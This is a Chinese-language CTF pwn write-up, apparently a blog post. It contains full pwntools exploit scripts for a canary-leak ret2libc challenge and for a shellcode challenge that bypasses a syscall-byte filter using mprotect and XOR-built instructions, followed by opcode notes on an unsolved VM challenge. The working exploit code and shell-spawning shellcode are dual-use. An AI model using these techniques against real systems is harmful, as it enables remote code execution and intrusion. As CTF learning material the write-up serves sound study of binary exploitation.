pwn
repeater 利用思路:
泄漏canary
泄漏泄漏调用程序主体的__libc_start_call_main+128
函数地址
根据__libc_start_call_main+128
地址和libc中固定的相对偏移计算出函数__libc_start_main
函数地址,进而计算出libc基址
覆盖程序返回值,调用system
拿到shell
泄漏出main
函数返回地址:__libc_start_call_main
函数地址 根据相对偏移计算出libc_base
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *import os context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' )if os.environ.get("ZELLIJ" ) == "0" : context.terminal = [ "zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" , ] exe = ELF("./pwn" ) libc = ELF("./libc.so.6" )def conn (): if args.LOCAL: io = process([exe.path]) elif args.GDB: io = gdb.debug([exe.path]) else : io = remote("125.220.147.47" , 49357 ) return iodef dbg (cmd="" ): if args.LOCAL: gdb.attach(io, cmd) pause()def choice (i ): io.sendlineafter(b'3. exit' , str (i).encode())def main (): global io io = conn() choice(1 ) payload = b'A' * 0x18 + b'B' io.send(payload) choice(2 ) io.recvuntil(b'B' ) cana_bytes = io.recv(7 ) log.success(f'cana_bytes: {cana_bytes} ' ) payload = b'A' * 0x20 + b'deadbeef' choice(1 ) io.send(payload) choice(2 ) io.recvuntil(b'deadbeef' ) data = io.recvuntil(b'\x7f' ) pie_call_main = u64(data.ljust(8 , b'\x00' )) call_main = pie_call_main - 128 libc_base = call_main + 0xb0 - libc.symbols['__libc_start_main' ] sys = libc_base + libc.symbols['system' ] bin = libc_base + next (libc.search(b'/bin/sh' )) pop_rdi_offset = 0x000000000002a3e5 pop_rdi = libc_base + pop_rdi_offset payload = b'A' * 0x18 + b'\x00' + cana_bytes + b'deadbeef' +p64(pop_rdi+1 ) + p64(pop_rdi) + p64(bin ) + p64(sys) choice(1 ) io.send(payload) choice(3 ) io.interactive()if __name__ == "__main__" : main()
刚开始canary地址偏移写错了,刚好也能泄漏,我以为那就是canary,直接卡了我一早上
shell_for_shell mmap()函数 linux系统中的一个函数,用于将文件或设备映射到内存中,从而允许程序通过内存访问文件内容,而不需要使用传统的文件I/O操作(read
和write
)
1 void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset)
addr: 指定映射的内存起始地址。 如果为NULL
,系统会自动选择一个合适的地址 如果指定了地址,flags
中需要包含MAP_FIXED
length: 映射内存区域的访问权限,可以是以下值的组合PROT_NONE
:不能访问PROT_READ
:可读PROT_WRITE
:可写PROT_EXEC
:可执行 flags 指定映射的类型和行为 有私有映射,共享映射,匿名映射 fd 文件描述符 可由open返回 offset 文件映射的起始偏移量
返回值: 返回映射的内存地址
1 int mprotect (void * addr, size_t len, int prot)
addr:
指向需要修改权限的内存区域的起始地址
该地址必须是页面大小的整数倍 (如果传参不是页面大小的整数倍的话就会失败!!) len:
要修改权限的内存区域的长度(以字节为单位)
实际修改的内存区域会向上取整到页面大小的倍数 prot:
指定新的访问权限,可以是以下标志的组合
PROT_NONE
:禁止访问
PROT_READ
:可读 1
PROT_WRITE
:可写 2
PROT_EXEC
:可执行 4
返回值:
成功时返回0
失败时返回-1,并设置errno
以指示错误原因
\键可简化ida界面显示信息
编写shellcode
一开始我尝试找到能够绕过\x0f
\x05
检查并不需要在执行的过程中写指令就能拿到shell的shellcode 从网上看到了一个retfq
+int 0x80
的,结果是没有尝试成功
然后采用mprotect修改内存权限并在执行时写入异或逻辑运算得到的syscall指令的操作,成功拿到了shell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import *import os context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' )if os.environ.get("ZELLIJ" ) == "0" : context.terminal = [ "zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" , ] exe = ELF("./pwn" )def conn (): if args.LOCAL: io = process([exe.path]) elif args.GDB: io = gdb.debug([exe.path]) else : io = remote("125.220.147.47" , 49547 ) return iodef dbg (cmd="" ): if args.LOCAL: gdb.attach(io, cmd) pause()def main (): global io io = conn() shellcode = asm( ''' add al,al mov rsp, 0x404068 mov rbp, 0x404068 ''' ) shellcode += asm( ''' mov rdi, 0x404000 mov rsi, 0x1000 mov rdx, 7 mov rax, 0x401070 call rax /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax mov r8,0x151f xor r8,0x1010 push r8 call rsp ''' ) print (shellcode) io.sendlineafter(b"you will get the flag!" ,shellcode) io.interactive()if __name__ == "__main__" : main()
以下未解出 待复现
ezvm 0x0 到 0x7F 是数据段 0x80 到 0xFF 栈段 0x100 到 0x120 0x100 是 stack pointer
1 ++i push NextNum 2 pop s1 3 pop s1 pop s2 push s1+s2 4 pop s1 pop s2 push s1-s2 5 写内存 是从栈中写的 ++i pop s1 memory[nextNum] = s1 6 ++i push memory[nextNum]
7 sp ++ 8 sp – 9 pop s1 pop s2 push s1*s2 0xa pop s1 pop s2 push s1/s2 0xb pop s1 pop s2 push s1%s2 0xc pop s1 pop s2 push s1 & s2 0xd pop s1 pop s2 push s1 | s2 0xe pop s1 pop s2 push s1 ^ s2 0xF 栈顶取反 sp = ~sp
0x10 跳转到第nextNum条指令 (索引nextNum-1) i = nextNum - 1 (nextNum是无符号数)
0x11 条件跳转 栈顶大于等于0 栈顶数据为0 跳转 i = nextNum -1 0x12 栈顶大于等于0 栈顶数据不为0 跳转 i = nextNum -1
逆向 + 实验几次 熟悉程序
控制写“内存”(全局数组) 控制索引next_opNum
another_shell 区别是开了pie
heap house of apple